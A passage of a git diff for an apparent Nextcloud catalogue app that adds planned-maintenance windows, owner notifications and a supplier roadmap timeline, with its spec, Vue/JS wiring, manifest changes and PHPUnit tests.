'soon'. Specified in openspec/changes/lifecycle-maintenance-and-supplier-roadmap (OpenSpec pass 2026-09-27).", + "note": "A supplier can register a future version with status 'in development' and planned dates, which reads as a crude release plan. There is no roadmap view or declared roadmap; the overlay marks maintenance-and-supplier-roadmap as 'soon'. Specified in openspec/changes/lifecycle-maintenance-and-supplier-roadmap (OpenSpec pass 2026-09-27). Built by openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap.", "evidence": { "vng-softwarecatalogus": "https://www.softwarecatalogus.nl/node/13683: \"Alle pakketversies en planningen ... gelijk zichtbaar de planning van de diverse pakketversies\" (read 2026-09-26); https://www.softwarecatalogus.nl/pakketversies: facet \"Status planning ... Filter op in ontwikkeling en zie de distributie planningsdata\" (read 2026-09-26). Reached on: Wat is er te vinden > Alle pakketversies en planningen.", - "stackiq": "register :7651 moduleVersion with status enum in development/in use/end of support/withdrawn and dateInDevelopment/dateInUse/dateEndSupport, read public; src/manifest.json:915 Moduleversies index + ModuleversieDetail", + "stackiq": "lib/Settings/register.d/maintenance-and-roadmap.json module.roadmapStatement; src/components/roadmap/ProductRoadmap.vue on ModuleDetail (statement + versions on CnTimelineView, planned first); Moduleversies Planned releases quick filter and dateInDevelopment column; tests/vitest/maintenance.spec.js", "topdesk": "unknown: TOPdesk is a single-organisation tool; no market-wide catalogue is described; searched the full-text search index of docs.topdesk.com (https://docs.topdesk.com/en/js/fuzzydata.js, 987 pages) (read 2026-09-26)", "bluedolphin": "unknown: docs searched at https://help.bluedolphin.io/en/; roadmap templates are for the customer's own plans (https://help.bluedolphin.io/en/articles/11967586-roadmap), suppliers' declared roadmaps are not documented (read 2026-09-26)", "sap-leanix": "https://help.sap.com/docs/leanix/ea/it-components-in-reference-catalog: 'The catalog provides standardized IT component data including lifecycle dates, vendor information ... You no longer need to track vendor lifecycle dates manually'. Vendor lifecycle and support dates, not planned releases; needs Technology Risk and Compliance (read 2026-09-26). Reached on: IT Component fact sheet linked to the reference catalog.", @@ -2394,20 +2395,21 @@ "bluedolphin": "unknown", "glpi": "partial", "topdesk": "yes", - "stackiq": "no", + "stackiq": "yes", "built": { - "state": "specified", - "evidence": "openspec/features.overlay.json maintenance-and-supplier-roadmap status 'soon'; no maintenance schema in lib/Settings/softwarecatalogus_register.json and no page in src/manifest.json", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "lib/Settings/softwarecatalogus_register.json schema maintenanceWindow (module, moduleVersion, startsAt, endsAt, impact, status with lifecycle start/complete/cancel, notification rules maintenance-announced and maintenance-starts-tomorrow to the usage owners); lib/EventListener/MaintenanceRecipientsListener.php queues lib/BackgroundJob/MaintenanceRecipientsJob.php, lib/Service/MaintenanceRecipientService.php; ModuleDetail md-maintenance; Dashboard widget upcoming-maintenance (src/components/maintenance/UpcomingMaintenanceWidget.vue); tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php, tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php, tests/vitest/maintenance.spec.js", + "owner": "ConductionNL/stackiq", + "change": "2026-09-29-lifecycle-maintenance-and-supplier-roadmap" }, - "reachedOn": "nothing reaches it", + "reachedOn": "Dashboard Planned maintenance widget; application page Planned maintenance section with Announce maintenance", "provider": "stackiq", "providerHow": "read-from-code", "feature": "maintenance-and-supplier-roadmap", "featureConfidence": "high", - "note": "Listed as 'soon' in the feature overlay; nothing is built. Specified in openspec/changes/lifecycle-maintenance-and-supplier-roadmap (OpenSpec pass 2026-09-27).", + "note": "Listed as 'soon' in the feature overlay; nothing is built. Specified in openspec/changes/lifecycle-maintenance-and-supplier-roadmap (OpenSpec pass 2026-09-27). Built by openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap.", "evidence": { - "stackiq": "openspec/features.overlay.json maintenance-and-supplier-roadmap status 'soon'; no maintenance schema in lib/Settings/softwarecatalogus_register.json and no page in src/manifest.json", + "stackiq": "lib/Settings/softwarecatalogus_register.json schema maintenanceWindow (module, moduleVersion, startsAt, endsAt, impact, status with lifecycle start/complete/cancel, notification rules maintenance-announced and maintenance-starts-tomorrow to the usage owners); lib/EventListener/MaintenanceRecipientsListener.php queues lib/BackgroundJob/MaintenanceRecipientsJob.php, lib/Service/MaintenanceRecipientService.php; ModuleDetail md-maintenance; Dashboard widget upcoming-maintenance (src/components/maintenance/UpcomingMaintenanceWidget.vue); tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php, tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php, tests/vitest/maintenance.spec.js", "topdesk": "https://docs.topdesk.com/en/operations-management.html: \"In TOPdesk you can easily schedule operational activities in the user-friendly planner. If you wish to schedule a recurring activity, you can use a series\" (read 2026-09-26); https://docs.topdesk.com/en/linking-assets-to-cards.html: assets can be linked to \"Operational Activity\" cards (read 2026-09-26). Reached on: Modules > Operations Management > Planner.", "vng-softwarecatalogus": "unknown: no maintenance announcements are described; searched https://www.softwarecatalogus.nl/node/16564, https://www.softwarecatalogus.nl/node/13683, https://www.softwarecatalogus.nl/node/19703, https://www.softwarecatalogus.nl/Gebruikershandleiding_leverancier (read 2026-09-26)", "bluedolphin": "unknown: docs searched at https://help.bluedolphin.io/en/; planned maintenance of applications is not documented (read 2026-09-26)", diff --git a/openspec/specs/maintenance-and-supplier-roadmap/spec.md b/openspec/specs/maintenance-and-supplier-roadmap/spec.md new file mode 100644 index 000000000..b1ce96557 --- /dev/null +++ b/openspec/specs/maintenance-and-supplier-roadmap/spec.md @@ -0,0 +1,57 @@ +# maintenance-and-supplier-roadmap Specification + +## Purpose +Organisations follow the maintenance suppliers plan on the products they use, and read each supplier's roadmap and planned releases. Matrix rows `stackiq:life-maintenance-window` and `stackiq:mkt-supplier-roadmap`. + +## Requirements + +### Requirement: REQ-MSR-001 A supplier announces planned maintenance on a product + +A supplier SHALL record a maintenance window on its own product with a title, a start and an end, the expected impact and a status that moves from planned to in progress to completed, or to cancelled. + +#### Scenario: A supplier announces a maintenance window +@e2e tests/e2e/workflows/maintenance.spec.ts + +- **GIVEN** a supplier of product X +- **WHEN** the supplier opens the page of X, clicks Add under Planned maintenance and saves a window next Saturday 08:00 to 12:00 with impact unavailable +- **THEN** the Planned maintenance section of X lists the window as planned + +### Requirement: REQ-MSR-002 Organisations that use a product see its planned maintenance + +The product page SHALL list its maintenance windows, and the dashboard SHALL list the planned windows of the next 30 days for products the user's organisation uses. + +#### Scenario: A municipality sees the window on its dashboard +@e2e tests/e2e/workflows/maintenance.spec.ts + +- **GIVEN** a municipality with a usage of product X and a planned window on X next Saturday +- **WHEN** its information manager opens the dashboard +- **THEN** the Planned maintenance widget lists X with next Saturday's window and impact unavailable + +### Requirement: REQ-MSR-003 The owners of every usage are notified + +When a supplier announces a window, stackiq SHALL notify the business and technical owners of every usage of the product, and SHALL remind them a day before the window starts while it is still planned. + +#### Scenario: Owners get the announcement +@e2e exclude Delivered by OpenRegister's notification engine; tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php asserts the resolved owners and tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php the rules. + +- **GIVEN** two municipalities use product X and both usages have a business owner +- **WHEN** the supplier announces a window on X +- **THEN** both business owners receive a Nextcloud notification naming X and the window + +### Requirement: REQ-MSR-004 A product page shows the supplier's roadmap + +The product page SHALL show the supplier's roadmap statement and the product's versions on a timeline, planned versions first, and the Module versions list SHALL filter on planned releases. A supplier SHALL release a planned version from its page through the version lifecycle. + +#### Scenario: A buyer reads what ships next +@e2e tests/e2e/workflows/maintenance.spec.ts + +- **GIVEN** product X with a roadmap statement and version 3.0 in development with a planned date in March +- **WHEN** a municipal buyer opens the page of X +- **THEN** the roadmap shows the statement and version 3.0 in March on the timeline + +#### Scenario: A supplier releases the planned version +@e2e tests/e2e/workflows/maintenance.spec.ts + +- **GIVEN** version 3.0 of product X in development +- **WHEN** the supplier opens the version and clicks Release +- **THEN** its status reads in use diff --git a/src/components/maintenance/UpcomingMaintenanceWidget.vue b/src/components/maintenance/UpcomingMaintenanceWidget.vue new file mode 100644 index 000000000..9334b9049 --- /dev/null +++ b/src/components/maintenance/UpcomingMaintenanceWidget.vue @@ -0,0 +1,234 @@ + + + + + + diff --git a/src/components/roadmap/ProductRoadmap.vue b/src/components/roadmap/ProductRoadmap.vue new file mode 100644 index 000000000..044b20f23 --- /dev/null +++ b/src/components/roadmap/ProductRoadmap.vue @@ -0,0 +1,185 @@ + + + + + + diff --git a/src/customComponents.js b/src/customComponents.js index 3d75c2da6..25912a30f 100644 --- a/src/customComponents.js +++ b/src/customComponents.js @@ -25,6 +25,7 @@ import ContractApprovalPanel from './components/contracts/ContractApprovalPanel. import ContractSeatsPanel from './components/contracts/ContractSeatsPanel.vue' import OrganisationMergePanel from './components/organisations/OrganisationMergePanel.vue' import ReviewsPanel from './components/reviews/ReviewsPanel.vue' +import ProductRoadmap from './components/roadmap/ProductRoadmap.vue' import SbomComponentsPanel from './components/sbom/SbomComponentsPanel.vue' import VulnerabilityExposurePanel from './components/vulnerabilities/VulnerabilityExposurePanel.vue' import ComplianceMatrixView from './views/ComplianceMatrixView.vue' @@ -91,6 +92,11 @@ export default { // Licences in use against licences bought (contracts-licence-seats). ContractSeatsPanel, + // The supplier's roadmap statement and the product's versions on a timeline, + // a bodyWidgets section on ModuleDetail (lifecycle-maintenance-and-supplier-roadmap): + // it reads the module and its versions, which no built-in widget combines. + ProductRoadmap, + // AI Act evidence per tag on the AI system page (landscape-ai-system-inventory): // it reads the object's files and their tags, which no built-in widget lists per tag. AiActChecklist, diff --git a/src/icons.js b/src/icons.js index 78210e070..6a08b1924 100644 --- a/src/icons.js +++ b/src/icons.js @@ -21,6 +21,7 @@ import ArrowRight from 'vue-material-design-icons/ArrowRight.vue' import BookOpenVariant from 'vue-material-design-icons/BookOpenVariant.vue' import BookOpenVariantOutline from 'vue-material-design-icons/BookOpenVariantOutline.vue' import BriefcaseOutline from 'vue-material-design-icons/BriefcaseOutline.vue' +import Calendar from 'vue-material-design-icons/Calendar.vue' import ChartBar from 'vue-material-design-icons/ChartBar.vue' import ChartBoxOutline from 'vue-material-design-icons/ChartBoxOutline.vue' import ChartLine from 'vue-material-design-icons/ChartLine.vue' @@ -81,6 +82,7 @@ export default { BookOpenVariant, BookOpenVariantOutline, BriefcaseOutline, + Calendar, ChartBar, ChartBoxOutline, ChartLine, diff --git a/src/main.js b/src/main.js index 3a27436eb..0e6041f91 100644 --- a/src/main.js +++ b/src/main.js @@ -30,6 +30,7 @@ import { createApp, h } from 'vue' import { createRouter, createWebHistory } from 'vue-router' import App from './App.vue' import CatalogPanels from './components/CatalogPanels.vue' +import UpcomingMaintenanceWidget from './components/maintenance/UpcomingMaintenanceWidget.vue' import customComponents from './customComponents.js' import appIcons from './icons.js' import bundledManifest from './manifest.json' @@ -72,6 +73,16 @@ registerDashboardWidget('catalog-panels', { icon: 'DatabaseOutline', card: true, }) +// Planned maintenance on the applications the active organisation uses +// (lifecycle-maintenance-and-supplier-roadmap): it joins the organisation's +// usages to the maintenance windows of their applications. +registerDashboardWidget('upcoming-maintenance', { + renderer: UpcomingMaintenanceWidget, + defaultContent: {}, + displayName: 'Planned maintenance', + icon: 'Calendar', + card: true, +}) try { registerTranslations() } catch (e) { diff --git a/src/manifest.json b/src/manifest.json index 19a97a2b9..d690db613 100644 --- a/src/manifest.json +++ b/src/manifest.json @@ -329,6 +329,12 @@ "type": "catalog-panels", "title": "Object statistics", "_note": "The management info-box and the two per-object-type statistics tables, moved out of the former hand-written Dashboard view into src/components/CatalogPanels.vue. Registered as a widget TYPE via registerDashboardWidget() in main.js: CnDashboardPage resolves a widget's type against the LIBRARY catalog, not the app registry, and an unregistered type renders 'Widget not available' silently." + }, + { + "id": "upcoming-maintenance", + "type": "upcoming-maintenance", + "title": "Planned maintenance", + "_note": "lifecycle-maintenance-and-supplier-roadmap: planned maintenance in the next 30 days on the applications the active organisation uses. A widget TYPE registered in main.js, like catalog-panels, because it joins the organisation's usages to the maintenance windows of their applications, which no built-in widget does." } ], "layout": [ @@ -368,11 +374,19 @@ "gridHeight": 2, "showTitle": false }, + { + "id": "6", + "widgetId": "upcoming-maintenance", + "gridX": 0, + "gridY": 2, + "gridWidth": 12, + "gridHeight": 4 + }, { "id": "5", "widgetId": "catalog-panels", "gridX": 0, - "gridY": 2, + "gridY": 6, "gridWidth": 12, "gridHeight": 8, "showTitle": false, @@ -507,7 +521,8 @@ { "id": "md-usages", "type": "object-list", "title": "Usages", "icon": "OfficeBuilding", "content": { "register": "@resolve:voorzieningen_register", "schema": "usage", "filter": { "module": "@objectId" }, "columns": [ { "key": "consumer", "label": "Organisation" }, { "key": "moduleVersion", "label": "Version" }, { "key": "status", "label": "Status" } ], "limit": 50, "rowRoute": "GebruikDetail", "viewAllRoute": "Gebruik", "viewAllQuery": { "module": "@objectId" }, "addLabel": "Add to our landscape", "formIncludeFields": [ "consumer", "moduleVersion", "status", "businessOwner", "technicalOwner" ], "emptyText": "No organisation registered a usage yet" } }, { "id": "md-connections-out", "type": "object-list", "title": "Connections from this application", "icon": "LinkVariant", "content": { "register": "@resolve:voorzieningen_register", "schema": "connection", "filter": { "moduleA": "@objectId" }, "columns": [ { "key": "moduleB", "label": "To application" }, { "key": "nonMunicipalProvision", "label": "To national provision" }, { "key": "type", "label": "Type" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "KoppelingDetail", "viewAllRoute": "Koppelingen", "viewAllQuery": { "moduleA": "@objectId" }, "allowCreate": false, "emptyText": "No connections start at this application" } }, { "id": "md-connections-in", "type": "object-list", "title": "Connections to this application", "icon": "LinkVariant", "content": { "register": "@resolve:voorzieningen_register", "schema": "connection", "filter": { "moduleB": "@objectId" }, "columns": [ { "key": "moduleA", "label": "From application" }, { "key": "type", "label": "Type" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "KoppelingDetail", "viewAllRoute": "Koppelingen", "viewAllQuery": { "moduleB": "@objectId" }, "allowCreate": false, "emptyText": "No connections end at this application" } }, - { "id": "md-ai-systems", "type": "object-list", "title": "AI systems", "icon": "RobotOutline", "content": { "register": "@resolve:voorzieningen_register", "schema": "aiSystem", "filter": { "module": "@objectId" }, "columns": [ { "key": "kind", "label": "Kind" }, { "key": "aiActRiskCategory", "label": "AI Act risk category" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "AiSystemDetail", "viewAllRoute": "AiSystems", "viewAllQuery": { "module": "@objectId" }, "allowCreate": false, "emptyText": "No AI systems registered for this application" } } + { "id": "md-ai-systems", "type": "object-list", "title": "AI systems", "icon": "RobotOutline", "content": { "register": "@resolve:voorzieningen_register", "schema": "aiSystem", "filter": { "module": "@objectId" }, "columns": [ { "key": "kind", "label": "Kind" }, { "key": "aiActRiskCategory", "label": "AI Act risk category" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "AiSystemDetail", "viewAllRoute": "AiSystems", "viewAllQuery": { "module": "@objectId" }, "allowCreate": false, "emptyText": "No AI systems registered for this application" } }, + { "id": "md-maintenance", "type": "object-list", "title": "Planned maintenance", "icon": "Calendar", "content": { "register": "@resolve:voorzieningen_register", "schema": "maintenanceWindow", "filter": { "module": "@objectId" }, "sort": { "field": "startsAt", "dir": "asc" }, "columns": [ { "key": "title", "label": "Title" }, { "key": "startsAt", "label": "Starts at" }, { "key": "endsAt", "label": "Ends at" }, { "key": "impact", "label": "Impact" }, { "key": "status", "label": "Status" } ], "limit": 25, "addLabel": "Announce maintenance", "formIncludeFields": [ "title", "description", "moduleVersion", "startsAt", "endsAt", "impact" ], "emptyText": "No maintenance planned on this application" } } ], "layout": [ { "id": "1", "widgetId": "md-data", "gridX": 0, "gridY": 0, "gridWidth": 8, "gridHeight": 8 }, @@ -518,9 +533,11 @@ { "id": "6", "widgetId": "md-compliance", "gridX": 0, "gridY": 12, "gridWidth": 12, "gridHeight": 4 }, { "id": "7", "widgetId": "md-connections-out", "gridX": 0, "gridY": 16, "gridWidth": 6, "gridHeight": 4 }, { "id": "8", "widgetId": "md-connections-in", "gridX": 6, "gridY": 16, "gridWidth": 6, "gridHeight": 4 }, - { "id": "9", "widgetId": "md-ai-systems", "gridX": 0, "gridY": 20, "gridWidth": 12, "gridHeight": 4 } + { "id": "9", "widgetId": "md-ai-systems", "gridX": 0, "gridY": 20, "gridWidth": 12, "gridHeight": 4 }, + { "id": "10", "widgetId": "md-maintenance", "gridX": 0, "gridY": 24, "gridWidth": 12, "gridHeight": 4 } ], "bodyWidgets": [ + { "id": "md-roadmap", "component": "ProductRoadmap", "props": { "objectId": "@objectId" }, "placement": "end", "colSpan": 12 }, { "id": "md-contracts", "component": "ApplicationContractsPanel", "props": { "objectId": "@objectId" }, "placement": "end", "colSpan": 12 }, { "id": "md-reviews", "component": "ReviewsPanel", "props": { "objectId": "@objectId", "subjectType": "module" }, "placement": "end", "colSpan": 12 } ], @@ -935,9 +952,14 @@ "columns": [ "version", "module", + "dateInDevelopment", "dateInUse", "status" ], + "quickFilters": [ + { "label": "All", "filter": {}, "default": true }, + { "label": "Planned releases", "filter": { "status": "in development" }, "icon": "MapMarkerPath" } + ], "sidebar": { "enabled": true, "showMetadata": true diff --git a/src/utils/maintenance.js b/src/utils/maintenance.js new file mode 100644 index 000000000..107e96609 --- /dev/null +++ b/src/utils/maintenance.js @@ -0,0 +1,111 @@ +/** + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + * + * Planned maintenance and the supplier roadmap: which maintenance windows an + * organisation should see, and a product's versions as timeline events. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md + */ + +const PAGE = 500 +const DAY_MS = 24 * 60 * 60 * 1000 + +/** + * The id of a row or a relation value. + * + * @param {object|string|null} value A row, a relation object or an id. + * @return {string|null} The id. + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-002-organisations-that-use-a-product-see-its-planned-maintenance + */ +export function refId(value) { + if (typeof value === 'string') { + return value || null + } + return value?.id ?? value?.['@self']?.id ?? value?.uuid ?? null +} + +/** + * The planned windows on the given products that start within `days` days. + * + * @param {Array} windows Maintenance windows. + * @param {Array} moduleIds The products the organisation uses. + * @param {Date} [now] The current moment. + * @param {number} [days] How far ahead to look. + * @return {Array} The windows, earliest first. + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-002-organisations-that-use-a-product-see-its-planned-maintenance + */ +export function upcomingMaintenance( + windows, + moduleIds, + now = new Date(), + days = 30, +) { + const used = new Set(moduleIds) + const from = now.getTime() + const until = from + days * DAY_MS + return (windows ?? []) + .filter((w) => w?.status === 'planned' && used.has(refId(w.module))) + .filter((w) => { + const start = Date.parse(w.startsAt) + const end = Date.parse(w.endsAt || w.startsAt) + return !Number.isNaN(start) && end >= from && start <= until + }) + .sort((a, b) => Date.parse(a.startsAt) - Date.parse(b.startsAt)) +} + +/** + * Load the upcoming maintenance on the products an organisation uses. + * + * @param {string} organisationId The active organisation. + * @param {(schema: string, params: object) => Promise>} fetchList Reads a list of objects. + * @param {Date} [now] The current moment. + * @return {Promise>} The windows, earliest first. + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-002-organisations-that-use-a-product-see-its-planned-maintenance + */ +export async function loadUpcomingMaintenance( + organisationId, + fetchList, + now = new Date(), +) { + if (!organisationId) { + return [] + } + const usages = await fetchList('usage', { + consumer: organisationId, + _limit: PAGE, + }) + const moduleIds = [ + ...new Set((usages ?? []).map((u) => refId(u.module)).filter(Boolean)), + ] + if (moduleIds.length === 0) { + return [] + } + const windows = await fetchList('maintenanceWindow', { + module: moduleIds, + status: 'planned', + _limit: PAGE, + }) + return upcomingMaintenance(windows, moduleIds, now) +} + +/** + * A product's versions as timeline events, placed on the date they go or went + * into use, or the date development started when no go-live date is set. + * + * @param {Array} versions Module versions. + * @return {Array} Events for CnTimelineView. + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-004-a-product-page-shows-the-supplier-s-roadmap + */ +export function roadmapEvents(versions) { + return (versions ?? []) + .map((v) => ({ + id: refId(v) ?? v.version, + title: v.version || '', + start: v.dateInUse || v.dateInDevelopment || '', + description: v.shortDescription || '', + kind: v.status === 'in development' ? 'planned' : 'released', + status: v.status || '', + })) + .filter((e) => e.start && !Number.isNaN(Date.parse(e.start))) +} diff --git a/tests/Stubs/Event/ObjectCreatedEvent.php b/tests/Stubs/Event/ObjectCreatedEvent.php new file mode 100644 index 000000000..dc2310c51 --- /dev/null +++ b/tests/Stubs/Event/ObjectCreatedEvent.php @@ -0,0 +1,57 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + */ + +declare(strict_types=1); + +namespace OCA\OpenRegister\Event; + +use OCA\OpenRegister\Db\ObjectEntity; +use OCP\EventDispatcher\Event; + +/** + * Dispatched after an object is created. + */ +class ObjectCreatedEvent extends Event { + + /** + * The created object. + * + * @var ObjectEntity + */ + private ObjectEntity $object; + + /** + * Constructor. + * + * @param ObjectEntity $object The created object. + */ + public function __construct(ObjectEntity $object) { + parent::__construct(); + $this->object = $object; + }//end __construct() + + /** + * The created object. + * + * @return ObjectEntity The object. + */ + public function getObject(): ObjectEntity { + return $this->object; + }//end getObject() +}//end class diff --git a/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php new file mode 100644 index 000000000..c4e205b43 --- /dev/null +++ b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php @@ -0,0 +1,282 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\EventListener; + +use DateTimeImmutable; +use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCA\OpenRegister\Db\ObjectEntity; +use OCA\OpenRegister\Event\ObjectCreatedEvent; +use OCA\Stackiq\BackgroundJob\MaintenanceRecipientsJob; +use OCA\Stackiq\EventListener\MaintenanceRecipientsListener; +use OCA\Stackiq\Service\MaintenanceRecipientService; +use OCA\Stackiq\Service\SettingsService; +use OCA\Stackiq\Service\StackiqContactSyncService; +use OCP\AppFramework\Utility\ITimeFactory; +use OCP\BackgroundJob\IJobList; +use OCP\EventDispatcher\Event; +use OCP\IUser; +use OCP\IUserManager; +use PHPUnit\Framework\TestCase; +use Psr\Container\ContainerInterface; +use Psr\Log\LoggerInterface; + +/** + * Two municipalities use product X; both usages name owners. + */ +class MaintenanceRecipientsListenerTest extends TestCase { + + private const REGISTER = 7; + + private const SCHEMAS = ['maintenanceWindow' => 40, 'usage' => 41, 'contactPerson' => 42]; + + /** + * The object service double, with every save it received. + * + * @var ObjectServiceInterface&\PHPUnit\Framework\MockObject\MockObject + */ + private $objectService; + + /** + * The saves the object service received. + * + * @var array> + */ + private array $saved = []; + + /** + * The jobs the listener queued. + * + * @var array + */ + private array $queued = []; + + /** + * The windows the object service can find, by id. + * + * @var array + */ + private array $windows = []; + + /** + * The job list double. + * + * @var IJobList&\PHPUnit\Framework\MockObject\MockObject + */ + private $jobList; + + /** + * The real owner resolution. + * + * @var MaintenanceRecipientService + */ + private MaintenanceRecipientService $service; + + /** + * An object entity double. + * + * @param string $uuid The id. + * @param int $schema The schema id. + * @param array $data The object data. + * + * @return ObjectEntity The double. + */ + private function entity(string $uuid, int $schema, array $data): ObjectEntity { + $entity = $this->createMock(ObjectEntity::class); + $entity->method('getUuid')->willReturn($uuid); + $entity->method('getSchema')->willReturn((string) $schema); + $entity->method('getRegister')->willReturn((string) self::REGISTER); + $entity->method('getObject')->willReturn($data); + return $entity; + }//end entity() + + /** + * The listener with its real service and doubles at the edges. + * + * @return MaintenanceRecipientsListener The listener. + */ + private function listener(): MaintenanceRecipientsListener { + $settings = $this->createMock(SettingsService::class); + $settings->method('getSchemaIdForObjectType')->willReturnCallback(fn (string $t): ?int => self::SCHEMAS[$t] ?? null); + $settings->method('getRegisterIdForObjectType')->willReturn(self::REGISTER); + + $usages = [ + $this->entity('u1', self::SCHEMAS['usage'], ['module' => 'x', 'businessOwner' => 'anna', 'technicalOwner' => ['id' => 'bram']]), + $this->entity('u2', self::SCHEMAS['usage'], ['module' => 'x', 'businessOwner' => 'carla']), + $this->entity('u3', self::SCHEMAS['usage'], ['module' => 'x']), + ]; + $people = [ + 'anna' => $this->entity('anna', self::SCHEMAS['contactPerson'], ['contactsUid' => 'c-anna']), + 'bram' => $this->entity('bram', self::SCHEMAS['contactPerson'], ['contactsUid' => 'c-bram']), + 'carla' => $this->entity('carla', self::SCHEMAS['contactPerson'], ['contactsUid' => 'c-carla']), + ]; + + $this->objectService = $this->createMock(ObjectServiceInterface::class); + $this->objectService->method('searchObjects')->willReturnCallback( + function (array $query=[], bool $_rbac=true, bool $_multitenancy=true, ?array $ids=null) use ($usages, $people): array { + if ($query['schema'] === self::SCHEMAS['usage']) { + $this->assertSame('x', $query['module']); + return $usages; + } + + return array_values(array_intersect_key($people, array_flip($ids ?? []))); + } + ); + $this->objectService->method('saveObject')->willReturnCallback( + function (array $object) { + $this->saved[] = $object; + return $this->createMock(ObjectEntity::class); + } + ); + + $container = $this->createMock(ContainerInterface::class); + $container->method('get')->willReturn($this->objectService); + + $contacts = $this->createMock(StackiqContactSyncService::class); + $contacts->method('findContactByUid')->willReturnCallback( + fn (string $uid): ?array => [ + 'c-anna' => ['UID' => 'anna.nc', 'isLocalSystemBook' => true], + 'c-bram' => ['UID' => 'c-bram', 'EMAIL' => ['bram@leiden.nl']], + 'c-carla' => ['UID' => 'c-carla', 'EMAIL' => [['value' => 'carla@delft.nl']]], + ][$uid] ?? null + ); + + $users = $this->createMock(IUserManager::class); + $users->method('userExists')->willReturnCallback(fn (string $uid): bool => $uid === 'anna.nc'); + $users->method('getByEmail')->willReturnCallback( + function (string $email): array { + $uid = ['bram@leiden.nl' => 'bram.nc', 'carla@delft.nl' => 'carla.nc'][$email] ?? null; + if ($uid === null) { + return []; + } + + $user = $this->createMock(IUser::class); + $user->method('getUID')->willReturn($uid); + return [$user]; + } + ); + + $this->objectService->method('find')->willReturnCallback(fn (int|string $id): ?ObjectEntity => $this->windows[$id] ?? null); + + $this->jobList = $this->createMock(IJobList::class); + $this->jobList->method('add')->willReturnCallback( + function (string $job, mixed $argument): void { + $this->queued[] = [$job, $argument]; + } + ); + + $logger = $this->createMock(LoggerInterface::class); + $this->service = new MaintenanceRecipientService($settings, $contacts, $users, $container, $logger); + return new MaintenanceRecipientsListener($this->service, $this->jobList, $logger); + }//end listener() + + /** + * Run the jobs the listener queued, the way cron runs them. + * + * @return void + */ + private function runQueuedJobs(): void { + foreach ($this->queued as [$class, $argument]) { + $this->assertSame(MaintenanceRecipientsJob::class, $class); + $job = new MaintenanceRecipientsJob($this->createMock(ITimeFactory::class), $this->service); + $run = new \ReflectionMethod($job, 'run'); + $run->invoke($job, $argument); + } + }//end runQueuedJobs() + + /** + * Announcing a window on X records the owners of both usages as users. + * + * @return void + */ + public function testTheOwnersOfEveryUsageAreRecorded(): void { + $listener = $this->listener(); + $window = $this->entity('w1', self::SCHEMAS['maintenanceWindow'], ['module' => ['id' => 'x'], 'title' => 'Database upgrade', 'status' => 'planned']); + + $this->windows['w1'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + + $this->assertSame([], $this->saved, 'the listener only queues; the write runs in the job'); + $this->assertSame([[MaintenanceRecipientsJob::class, ['uuid' => 'w1', 'register' => '7', 'schema' => '40']]], $this->queued); + + $this->runQueuedJobs(); + + $this->assertCount(1, $this->saved); + $this->assertSame(['anna.nc', 'bram.nc', 'carla.nc'], $this->saved[0]['notifyUserIds']); + $this->assertNotFalse(DateTimeImmutable::createFromFormat(DATE_ATOM, $this->saved[0]['recipientsResolvedAt'])); + $this->assertSame('Database upgrade', $this->saved[0]['title']); + }//end testTheOwnersOfEveryUsageAreRecorded() + + /** + * An object of another schema is left alone. + * + * @return void + */ + public function testAnotherSchemaIsIgnored(): void { + $listener = $this->listener(); + $listener->handle(new ObjectCreatedEvent($this->entity('m1', 99, ['module' => 'x']))); + + $this->assertSame([], $this->queued); + }//end testAnotherSchemaIsIgnored() + + /** + * A window whose owners were already resolved is not written again. + * + * @return void + */ + public function testAResolvedWindowIsNotWrittenAgain(): void { + $listener = $this->listener(); + $window = $this->entity('w2', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'recipientsResolvedAt' => '2026-09-29T10:00:00+00:00']); + + $this->windows['w2'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertSame([], $this->saved); + }//end testAResolvedWindowIsNotWrittenAgain() + + /** + * Another event type is ignored. + * + * @return void + */ + public function testAnotherEventIsIgnored(): void { + $listener = $this->listener(); + $listener->handle(new Event()); + + $this->assertSame([], $this->queued); + }//end testAnotherEventIsIgnored() + + /** + * The listener is registered for the created event in the app. + * + * @return void + */ + public function testTheListenerIsRegistered(): void { + $source = (string) file_get_contents(__DIR__ . '/../../../lib/AppInfo/Application.php'); + + $this->assertMatchesRegularExpression( + '/registerEventListener\(\s*ObjectCreatedEvent::class,\s*MaintenanceRecipientsListener::class\s*\)/', + $source + ); + }//end testTheListenerIsRegistered() +}//end class diff --git a/tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php 